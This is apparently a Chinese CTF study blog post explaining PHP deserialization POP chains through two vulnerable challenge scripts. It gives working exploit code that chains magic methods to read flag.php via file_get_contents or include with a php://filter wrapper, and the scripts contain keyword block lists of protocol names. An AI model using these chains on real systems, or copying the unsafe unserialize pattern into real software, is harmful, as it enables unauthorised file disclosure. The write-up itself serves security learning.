php序列化pop链再学习

php序列化 pop链再学习

例一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);

class Read
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $source;
public $var;
public $class1;
public function __construct($name='index.php')
{
$this->source = $name;
echo $this->source.' Welcome'."<br>";
}

public function __toString()
{
$content = $this->class1->get_file($this->var);
echo $content;
return $content;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}

}

public function Change()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
}
}
public function __get($key){
$function=$this->$key;
$this->{$key}();
}
}

if(isset($_GET['sid']))
{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;
}
else
{
$show = new Show('index.php');
$show->_show();
}

首先找到了反序列的点 $config=unserialize($_GET['config']);
再寻找危险函数的地方 这里发现可以读文件

1
2
3
4
5
6
7
8
class Read 
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

发现必须触发 __tostring才能 触发这个 get_file方法 刚开始想用 $this->source触发 发现这是一个障眼法 因为我们根本没办法触发 _show 或者 change方法 所以就相当于无法触发 __tostring,这里就利用$sid 构造 __tostring方法,$config->$sid 触发 __get方法 $this->{$key}(); 就能成功调用 __tostring方法了

pop链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Read
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $source = "index.php";
public $var;
public $class1;
}

$y1ng = new Show();
$y1ng->var = "flag.php";
$y1ng->class1 = new Read();
echo serialize($y1ng);

例二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);//8.触发这个include,利用php base64 wrapper 读flag
}
public function __invoke(){
$this->append($this->var);//7.然后会调用到这里
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象
}

public function __wakeup(){//2.如果pop是个Show,那么调用这里
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;//5.触发到这里
return $function();//6.()会调用__invoke,我们这里选择Modifier对象
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);//1.反序列调用这里
}
else{
$a=new Show;
highlight_file(__FILE__);
}

构造pop链:

调用__wakeup()->触发__tostring()->source属性不存在,触发Test类的__get()函数 -> 触发__invoke()函数 -> include()包含文件(伪协议)

pop链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
class Modifier{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
}

class Test{
public $p;
}

class Show{
public $source;
public $str;
}

$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
echo urlencode(serialize($s));

session和phar反序列

参考:https://www.anquanke.com/post/id/159206?display=mobile&platform=android

实例参:https://blog.csdn.net/bmth666/article/details/104737025

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~